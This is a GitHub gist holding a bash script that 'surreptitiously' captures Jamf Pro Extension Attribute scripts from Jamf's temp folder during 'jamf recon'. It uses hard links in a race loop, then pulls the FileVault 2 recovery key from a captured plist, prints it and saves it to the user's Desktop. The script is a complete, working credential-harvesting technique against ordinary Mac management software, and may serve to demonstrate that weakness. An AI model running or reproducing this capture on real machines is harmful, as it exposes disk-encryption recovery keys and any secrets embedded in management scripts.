Skip to content

Instantly share code, notes, and snippets.

@brunerd
Last active January 29, 2022 16:20
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brunerd/6e95ac228ec84f9a845c140cb1dca381 to your computer and use it in GitHub Desktop.
Save brunerd/6e95ac228ec84f9a845c140cb1dca381 to your computer and use it in GitHub Desktop.
Grab Jamf Extension Attributes (including recovery key) as they come down during recon
#!/bin/bash
# Joel Bruner - EA Grabber: Surreptitiously grabs Jamf Extension Attributes (EAs) during recon
#touch file for debug
[ -f /tmp/debug ] && set -x
#############
# VARIABLES #
#############
#get console user
consoleUser=$(stat -f %Su /dev/console)
#get home folder path of console user for output
consoleUserHome=$(dscl . read /Users/"${consoleUser}" NFSHomeDirectory | awk -F ": " '{print $2}')
#used for the output folder
dateStamp=$(date +"%Y-%m-%d %H.%M")
#date stamped named folder for the root
capturePath_Root="${consoleUserHome}/Desktop/EAGrabber_${dateStamp}"
#sub folders
capturePath_EA_Raw="${capturePath_Root}/EAs_Raw"
capturePath_EA_Renamed="${capturePath_Root}/EAs_Renamed"
capturePath_FV2Key="${capturePath_Root}/FV2Key"
reconOutputFile="${capturePath_Root}/verboseReconRAW.txt"
processCaptureFile="${capturePath_Root}/processCapture.log"
EANamesFile="${capturePath_Root}/EA_Names.txt"
#where jamf puts it's scripts when it runs
jamfTempFolder="/Library/Application Support/JAMF/tmp"
#############
# FUNCTIONS #
#############
function captureFiles
{
#make root folder and it's sub folder
mkdir -p "${capturePath_EA_Raw}"
#to protect from runaway the script will kill itself neatly if not done in 3 minutes
( sleep 480; kill -9 $$ ) &
suicideWatchPID=$!
#flush any temp files remaining in here
rm "${jamfTempFolder}"/* 2>/dev/null
echo "Starting jamf recon..."
#start recon in background and get the output text into a file
jamf recon -verbose 2>/dev/null 1>"${reconOutputFile}" &
#until the jamf recon process is done, loop and hardlink to scripts
while [ "$(ps auxww | grep -c [j]amf\ recon)" -ne 0 ]; do
#find all files and make hard links in capture folder
find "${jamfTempFolder}" -exec ln "{}" "${capturePath_EA_Raw}"/ 2>/dev/null \;
done
}
function processFiles
{
#make folder for key
mkdir "${capturePath_FV2Key}"
#remove the tmp file (of ethernet MAC addresses) sometimes captured
rm "${capturePath_EA_Raw}"/*tmp 2>/dev/null
rm "${capturePath_EA_Raw}"/*pid 2>/dev/null
#count the files, use bc to trim wc's output
captureCount=$(wc -l <<< "$(find "${capturePath_EA_Raw}" -type f)" | bc)
echo "Captured ${captureCount} extension attributes..."
#find the fv2 file, echo out result, then and move it
for file in "${capturePath_EA_Raw}"/*; do
#get 0 or 1 for match
keyFound=$(grep -c '<key>Password</key>' "$file" 2>/dev/null)
#if 1 we have a match let's print it
if [ "${keyFound}" -eq 1 ]; then
#get key data and echo it out
FV2Key=$(/usr/libexec/PlistBuddy -c "print Password" "$file" 2>/dev/null)
echo "FileVault 2 Key: ${FV2Key}"
#move file into fv2 folder
mv "${file}" "${capturePath_FV2Key}"/fv2key.plist
break;
fi
done
}
function renameFiles
{
#make new folder
mkdir "${capturePath_EA_Renamed}"
#chage IFS so only newlines make new array elements
IFS=$'\n'
#get the file names from the verbose recon output file
filenames=$(grep "Running script for the extension attribute" "${reconOutputFile}" | awk -F 'attribute ' '{print $NF}')
filenames_Array=( ${filenames} )
echo "${filenames}" > "${EANamesFile}"
#get all the raw file names from newest to oldest
rawFiles_Array=( $(ls -r1t "${capturePath_EA_Raw}") )
echo "Attempting to rename files..."
#rename all the EAs in order - the weakness here is that we expect to have gotten all the files
#but if we missed a file this or something gets out of sequence it'll be off (that's why we have the saw folder)
for ((i=0; i < ${#filenames_Array[@]}; i++ )); do
[ -z "${rawFiles_Array[$i]}" ] && continue
#determine the file extension from the first #! line
case "$(head -n1 "${capturePath_EA_Raw}/${rawFiles_Array[$i]}")" in
*python* )
extension="py" ;;
#default to shell
* )
extension="sh" ;;
esac
#make a file copy from raw to the renamed folder
cp "${capturePath_EA_Raw}/${rawFiles_Array[$i]}" "${capturePath_EA_Renamed}/${filenames_Array[$i]}.${extension}"
#at the very least add .sh to the end so spotlight works on them instead of the Unix executable icon
mv "${capturePath_EA_Raw}/${rawFiles_Array[$i]}" "${capturePath_EA_Raw}/${rawFiles_Array[$i]}".sh
done
}
function systemCheck
{
#run this as root so we don't get prompted for password when sudo jamf runs
if [ "${USER}" != 'root' ]; then
echo "Please run with sudo"
exit
fi
#runs finishUp if INT TERM or HUP signal received
trap 'finishUp' TERM INT HUP
}
function finishUp
{
#kill the background suicide process if it still exists (tail cuts header off ps)
[ -n "$(ps -p ${suicideWatchPID} 2>/dev/null | tail -n +2)" ] && kill -9 "${suicideWatchPID}"
#own the folder for console user
chown -R "${consoleUser}":staff "${capturePath_Root}"
echo "Done."
echo "Opening results in ${capturePath_Root}"
#open it for the console user
su $consoleUser -c "open \"${capturePath_Root}\""
}
########
# MAIN #
########
systemCheck
captureFiles
processFiles
renameFiles
finishUp
exit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment